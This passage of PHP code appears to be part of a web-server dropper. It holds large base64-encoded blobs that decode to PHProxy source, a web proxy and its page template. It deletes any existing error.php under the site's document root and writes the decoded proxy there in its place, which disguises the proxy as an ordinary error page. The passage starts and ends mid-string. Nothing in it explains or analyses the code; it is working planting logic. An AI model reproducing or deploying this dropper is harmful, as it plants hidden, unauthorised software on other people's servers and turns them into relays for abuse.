kY291bnRfaiA9IGNvdW50KCRtKTsgJGogPCAkY291bnRfajsgJGF0dHJzW3N0cnRvbG93ZXIoJG1bJGpdWzFdKV0gPSAoaXNzZXQoJG1bJGpdWzRdKSA/ICRtWyRqXVs0XSA6IChpc3NldCgkbVskal1bM10pID8gJG1bJGpdWzNdIDogKGlzc2V0KCRtWyRqXVsyXSkgPyAkbVskal1bMl0gOiBmYWxzZSkpKSwgKyskaik7DQogICAgICAgIA0KICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydzdHlsZSddKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgJGF0dHJzWydzdHlsZSddID0gcHJveGlmeV9pbmxpbmVfY3NzKCRhdHRyc1snc3R5bGUnXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICR0YWcgPSBzdHJ0b2xvd2VyKCRtYXRjaGVzWzFdWyRpXSk7DQoNCiAgICAgICAgaWYgKGlzc2V0KCR0YWdzWyR0YWddKSkNCiAgICAgICAgew0KICAgICAgICAgICAgc3dpdGNoICgkdGFnKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ2EnOg0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydocmVmJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2hyZWYnXSA9IHVybGRlY29kZSgkYXR0cnNbJ2hyZWYnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnaW1nJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snc3JjJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ3NyYyddID0gY29tcGxldGVfdXJsKCRhdHRyc1snc3JjJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2xvbmdkZXNjJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2xvbmdkZXNjJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWydsb25nZGVzYyddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdmb3JtJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snYWN0aW9uJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh0cmltKCRhdHRyc1snYWN0aW9uJ10pID09PSAnJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2FjdGlvbiddID0gJF91cmxfcGFydHNbJ3BhdGgnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJGF0dHJzWydtZXRob2QnXSkgfHwgc3RydG9sb3dlcih0cmltKCRhdHRyc1snbWV0aG9kJ10pKSA9PT0gJ2dldCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGV4dHJhX2h0bWwgPSAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJyAuICRfY29uZmlnWydnZXRfZm9ybV9uYW1lJ10gLiAnIiB2YWx1ZT0iJyAuIGVuY29kZV91cmwoY29tcGxldGVfdXJsKCRhdHRyc1snYWN0aW9uJ10sIGZhbHNlKSkgLiAnIiAvPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydhY3Rpb24nXSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2FjdGlvbiddID0gY29tcGxldGVfdXJsKCRhdHRyc1snYWN0aW9uJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ2Jhc2UnOg0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydocmVmJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHVybF9wYXJzZSgkYXR0cnNbJ2hyZWYnXSwgJF9iYXNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snaHJlZiddID0gY29tcGxldGVfdXJsKCRhdHRyc1snaHJlZiddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdtZXRhJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRfZmxhZ3NbJ3N0cmlwX21ldGEnXSAmJiBpc3NldCgkYXR0cnNbJ25hbWUnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdWyRpXSwgJycsICRfcmVzcG9uc2VfYm9keSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snaHR0cC1lcXVpdiddLCAkYXR0cnNbJ2NvbnRlbnQnXSkgJiYgcHJlZ19tYXRjaCgnI1xzKnJlZnJlc2hccyojaScsICRhdHRyc1snaHR0cC1lcXVpdiddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeKFxzKlswLTldKlxzKjtccyp1cmw9KSguKikjaScsICRhdHRyc1snY29udGVudCddLCAkY29udGVudCkpDQogICAgICAgICAgICAgICAgICAgICAgICB7ICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydjb250ZW50J10gPSAgJGNvbnRlbnRbMV0gLiBjb21wbGV0ZV91cmwodHJpbSgkY29udGVudFsyXSwgJyJcJycpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdoZWFkJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1sncHJvZmlsZSddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydwcm9maWxlJ10gPSBpbXBsb2RlKCcgJywgYXJyYXlfbWFwKCdjb21wbGV0ZV91cmwnLCBleHBsb2RlKCcgJywgJGF0dHJzWydwcm9maWxlJ10pKSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnYXBwbGV0JzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snY29kZWJhc2UnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wID0gJF9iYXNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgdXJsX3BhcnNlKGNvbXBsZXRlX3VybChydHJpbSgkYXR0cnNbJ2NvZGViYXNlJ10sICcvJykgLiAnLycsIGZhbHNlKSwgJF9iYXNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRhdHRyc1snY29kZWJhc2UnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snY29kZSddKSAmJiBzdHJwb3MoJGF0dHJzWydjb2RlJ10sICcvJykgIT09IGZhbHNlKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2NvZGUnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ2NvZGUnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snb2JqZWN0J10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ29iamVjdCddID0gY29tcGxldGVfdXJsKCRhdHRyc1snb2JqZWN0J10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2FyY2hpdmUnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snYXJjaGl2ZSddID0gaW1wbG9kZSgnLCcsIGFycmF5X21hcCgnY29tcGxldGVfdXJsJywgcHJlZ19zcGxpdCgnI1xzKixccyojJywgJGF0dHJzWydhcmNoaXZlJ10pKSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkdGVtcCkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRfYmFzZSA9ICR0ZW1wOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ29iamVjdCc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ3VzZW1hcCddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWyd1c2VtYXAnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ3VzZW1hcCddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydjb2RlYmFzZSddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgPSAkX2Jhc2U7DQogICAgICAgICAgICAgICAgICAgICAgICB1cmxfcGFyc2UoY29tcGxldGVfdXJsKHJ0cmltKCRhdHRyc1snY29kZWJhc2UnXSwgJy8nKSAuICcvJywgZmFsc2UpLCAkX2Jhc2UpOw0KICAgICAgICAgICAgICAgICAgICAgICAgdW5zZXQoJGF0dHJzWydjb2RlYmFzZSddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydkYXRhJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ2RhdGEnXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJ2RhdGEnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snY2xhc3NpZCddKSAmJiAhcHJlZ19tYXRjaCgnI15jbHNpZDojaScsICRhdHRyc1snY2xhc3NpZCddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydjbGFzc2lkJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWydjbGFzc2lkJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ2FyY2hpdmUnXSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZWJ1aWxkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRhdHRyc1snYXJjaGl2ZSddID0gaW1wbG9kZSgnICcsIGFycmF5X21hcCgnY29tcGxldGVfdXJsJywgZXhwbG9kZSgnICcsICRhdHRyc1snYXJjaGl2ZSddKSkpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRlbXApKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkX2Jhc2UgPSAkdGVtcDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwYXJhbSc6DQogICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJ3ZhbHVldHlwZSddLCAkYXR0cnNbJ3ZhbHVlJ10pICYmIHN0cnRvbG93ZXIoJGF0dHJzWyd2YWx1ZXR5cGUnXSkgPT0gJ3JlZicgJiYgcHJlZ19tYXRjaCgnI15bXHcuKy1dKzovLyMnLCAkYXR0cnNbJ3ZhbHVlJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ3ZhbHVlJ10gPSBjb21wbGV0ZV91cmwoJGF0dHJzWyd2YWx1ZSddKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdmcmFtZSc6DQogICAgICAgICAgICAgICAgY2FzZSAnaWZyYW1lJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRhdHRyc1snc3JjJ10pKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAkYXR0cnNbJ3NyYyddID0gY29tcGxldGVfdXJsKCRhdHRyc1snc3JjJ10pIC4gJyZuZj0xJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGF0dHJzWydsb25nZGVzYyddKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlYnVpbGQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWydsb25nZGVzYyddID0gY29tcGxldGVfdXJsKCRhdHRyc1snbG9uZ2Rlc2MnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHRhZ3NbJHRhZ10gYXMgJGF0dHIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkYXR0cnNbJGF0dHJdKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVidWlsZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF0dHJzWyRhdHRyXSA9IGNvbXBsZXRlX3VybCgkYXR0cnNbJGF0dHJdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIA0KICAgICAgICBpZiAoJHJlYnVpbGQpDQogICAgICAgIHsNCiAgICAgICAgICAgICRuZXdfdGFnID0gIjwkdGFnIjsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRhdHRycyBhcyAkbmFtZSA9PiAkdmFsdWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGRlbGltID0gc3RycG9zKCR2YWx1ZSwgJyInKSAmJiAhc3RycG9zKCR2YWx1ZSwgIiciKSA/ICInIiA6ICciJzsNCiAgICAgICAgICAgICAgICAkbmV3X3RhZyAuPSAnICcgLiAkbmFtZSAuICgkdmFsdWUgIT09IGZhbHNlID8gJz0nIC4gJGRlbGltIC4gJHZhbHVlIC4gJGRlbGltIDogJycpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkX3Jlc3BvbnNlX2JvZHkgPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXVskaV0sICRuZXdfdGFnIC4gJz4nIC4gJGV4dHJhX2h0bWwsICRfcmVzcG9uc2VfYm9keSk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgaWYgKCRfZmxhZ3NbJ2luY2x1ZGVfZm9ybSddICYmICFpc3NldCgkX0dFVFsnbmYnXSkpDQogICAgew0KICAgICAgICAkX3VybF9mb3JtICAgICAgPSAnPGRpdiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MDt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNzI1NTU0O2NvbG9yOiMwMDAwMDA7YmFja2dyb3VuZC1jb2xvcjojRjJGREYzO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Zm9udC1mYW1pbHk6Qml0c3RyZWFtIFZlcmEgU2FucyxhcmlhbCxzYW5zLXNlcmlmO3BhZGRpbmc6NHB4OyI+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgLiAnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicgLiAkX3NjcmlwdF91cmwgLiAnIj4nDQogICAgICAgICAgICAgICAgICAgICAgICAuICcgPGxhYmVsIGZvcj0iX19fXycgLiAkX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10gLiAnIj48YSBocmVmPSInIC4gJF91cmwgLiAnIj5BZGRyZXNzPC9hPjo8L2xhYmVsPiA8aW5wdXQgaWQ9Il9fX18nIC4gJF9jb25maWdbJ3VybF92YXJfbmFtZSddIC4gJyIgdHlwZT0idGV4dCIgc2l6ZT0iODAiIG5hbWU9IicgLiAkX2NvbmZpZ1sndXJsX3Zhcl9uYW1lJ10gLiAnIiB2YWx1ZT0iJyAuICRfdXJsIC4gJyIgLz4nDQogICAgICAgICAgICAgICAgICAgICAgICAuICcgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZ28iIHZhbHVlPSJHbyIgLz4nDQogICAgICAgICAgICAgICAgICAgICAgICAuICcgW2dvOiA8YSBocmVmPSInIC4gJF9zY3JpcHRfdXJsIC4gJz8nIC4gJF9jb25maWdbJ3VybF92YXJfbmFtZSddIC4gJz0nIC4gZW5jb2RlX3VybCgkX3VybF9wYXJ0c1sncHJldl9kaXInXSkgLicgIj51cCBvbmUgZGlyPC9hPiwgPGEgaHJlZj0iJyAuICRfc2NyaXB0X2Jhc2UgLiAnIj5tYWluIHBhZ2U8L2E+XScNCiAgICAgICAgICAgICAgICAgICAgICAgIC4gJzxiciAvPjxociAvPic7DQoNCiAgICAgICAgZm9yZWFjaCAoJF9mbGFncyBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZiAoISRfZnJvemVuX2ZsYWdzWyRmbGFnX25hbWVdKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRfdXJsX2Zvcm0gLj0gJzxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IicgLiAkX2NvbmZpZ1snZmxhZ3NfdmFyX25hbWUnXSAuICdbJyAuICRmbGFnX25hbWUgLiAnXSInIC4gKCRmbGFnX3ZhbHVlID8gJyBjaGVja2VkPSJjaGVja2VkIicgOiAnJykgLiAnIC8+ICcgLiAkX2xhYmVsc1skZmxhZ19uYW1lXVswXSAuICc8L2xhYmVsPiAnOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJF91cmxfZm9ybSAuPSAnPC9mb3JtPjwvZGl2Pic7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgnI1w8XHMqYm9keSguKj8pXD4jc2knLCAiJDBcbiRfdXJsX2Zvcm0iICwgJF9yZXNwb25zZV9ib2R5LCAxKTsNCiAgICB9DQp9DQoNCiRfcmVzcG9uc2Vfa2V5c1snY29udGVudC1kaXNwb3NpdGlvbiddID0gJ0NvbnRlbnQtRGlzcG9zaXRpb24nOw0KJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRpc3Bvc2l0aW9uJ11bMF0gPSBlbXB0eSgkX2NvbnRlbnRfZGlzcCkgPyAoJF9jb250ZW50X3R5cGUgPT0gJ2FwcGxpY2F0aW9uL29jdGV0X3N0cmVhbScgPyAnYXR0YWNobWVudCcgOiAnaW5saW5lJykgLiAnOyBmaWxlbmFtZT0iJyAuICRfdXJsX3BhcnRzWydmaWxlJ10gLiAnIicgOiAkX2NvbnRlbnRfZGlzcDsNCiRfcmVzcG9uc2Vfa2V5c1snY29udGVudC1sZW5ndGgnXSA9ICdDb250ZW50LUxlbmd0aCc7DQokX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0gPSBzdHJsZW4oJF9yZXNwb25zZV9ib2R5KTsgICAgDQokX3Jlc3BvbnNlX2hlYWRlcnMgICA9IGFycmF5X2ZpbHRlcigkX3Jlc3BvbnNlX2hlYWRlcnMpOw0KJF9yZXNwb25zZV9rZXlzICAgICAgPSBhcnJheV9maWx0ZXIoJF9yZXNwb25zZV9rZXlzKTsNCg0KaGVhZGVyKGFycmF5X3NoaWZ0KCRfcmVzcG9uc2Vfa2V5cykpOw0KYXJyYXlfc2hpZnQoJF9yZXNwb25zZV9oZWFkZXJzKTsNCg0KZm9yZWFjaCAoJF9yZXNwb25zZV9oZWFkZXJzIGFzICRuYW1lID0+ICRhcnJheSkNCnsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgaGVhZGVyKCRfcmVzcG9uc2Vfa2V5c1skbmFtZV0gLiAnOiAnIC4gJHZhbHVlLCBmYWxzZSk7DQogICAgfQ0KfQ0KDQplY2hvICRfcmVzcG9uc2VfYm9keTsNCj8+";
$pathS = $_SERVER['DOCUMENT_ROOT'].'/'.$bypass.'/'.'error.php';
if(file_exists($pathS)) @unlink($pathS);
$contentS = base64_decode($by2);
$txtS = fopen($pathS,"a+");
fwrite($txtS, $contentS);
fclose($txtS);
$by3 = "PD9waHAgDQoNCmlmIChiYXNlbmFtZShfX0ZJTEVfXykgPT0gYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKQ0Kew0KICAgIGV4aXQoMCk7DQp9DQoNCmVjaG8gJzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+JzsNCg0KPz4NCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIGxhbmc9ImVuLVVTIiB4bWw6bGFuZz0iZW4tVVMiPg0KPGhlYWQ+DQogIDx0aXRsZT5QSFByb3h5PC90aXRsZT4NCiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0ic3R5bGUuY3NzIiB0aXRsZT0iRGVmYXVsdCBUaGVtZSIgbWVkaWE9ImFsbCIgLz4NCiAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCjwhLS0NCi5zdHlsZTEgew0KCWZvbnQtZmFtaWx5OiBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KCWZvbnQtc2l6ZTogMTJweDsNCn0NCmE6bGluayB7DQoJY29sb3I6ICMwMEZGMDA7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KYTp2aXNpdGVkIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQphOmhvdmVyIHsNCgl0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsNCgljb2xvcjogI0ZGRkYwMDsNCn0NCmE6YWN0aXZlIHsNCgl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJY29sb3I6ICNGRkZGMDA7DQp9DQotLT4NCiAgPC9zdHlsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+PC9oZWFkPg0KPGJvZHkgYmdjb2xvcj0iIzAwMDAwMCIgdGV4dD0iIzAwRkYwMCIgb25sb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWRkcmVzc19ib3gnKS5mb2N1cygpIj4NCjxkaXYgaWQ9ImNvbnRhaW5lciI+DQogIDxoMSBpZD0idGl0bGUiPjxjZW50ZXI+DQogICAgPHU+Li46OlsgcGhwcm94eSBdOjouLjwvdT4NCiAgPC9jZW50ZXI+PC9oMT4NCjxkaXYgY2xhc3M9InN0eWxlMSIgaWQ9IkxheWVyMSIgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyB3aWR0aDo1MDZweDsgaGVpZ2h0OjQ2N3B4OyB6LWluZGV4OjE7IGxlZnQ6IDM1M3B4OyB0b3A6IDk0cHg7Ij4NCg0KICA8dWwgaWQ9Im5hdmlnYXRpb24iPg0KICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRHTE9CQUxTWydfc2NyaXB0X2Jhc2UnXSA/PiI+VVJMIEZvcm08L2E+PC9saT4NCiAgICA8bGk+PGEgaHJlZj0iamF2YXNjcmlwdDphbGVydCgnY29va2llIG1hbmFnbWVudCBoYXMgbm90IGJlZW4gaW1wbGVtZW50ZWQgeWV0JykiPk1hbmFnZSBDb29raWVzPC9hPjwvbGk+DQogIDwvdWw+DQo8P3BocA0KDQpzd2l0Y2ggKCRkYXRhWydjYXRlZ29yeSddKQ0Kew0KICAgIGNhc2UgJ2F1dGgnOg0KPz4NCiAgPGRpdiBpZD0iYXV0aCI+PHA+DQogIDxiPkVudGVyIHlvdXIgdXNlcm5hbWUgYW5kIHBhc3N3b3JkIGZvciAiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYXRhWydyZWFsbSddKSA/PiIgb24gPD9waHAgZWNobyAkR0xPQkFMU1snX3VybF9wYXJ0cyddWydob3N0J10gPz48L2I+DQogIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gJEdMT0JBTFNbJ19jb25maWcnXVsnYmFzaWNfYXV0aF92YXJfbmFtZSddID8+IiB2YWx1ZT0iPD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKCRkYXRhWydyZWFsbSddKSA/PiIgLz4NCiAgICA8bGFiZWw+VXNlcm5hbWUgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiB2YWx1ZT0iIiAvPjwvbGFiZWw+IDxsYWJlbD5QYXNzd29yZCA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiB2YWx1ZT0iIiAvPjwvbGFiZWw+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiIgLz4NCiAgPC9mb3JtPjwvcD48L2Rpdj4NCjw/cGhwDQogICAgICAgIGJyZWFrOw0KICAgIGNhc2UgJ2Vycm9yJzo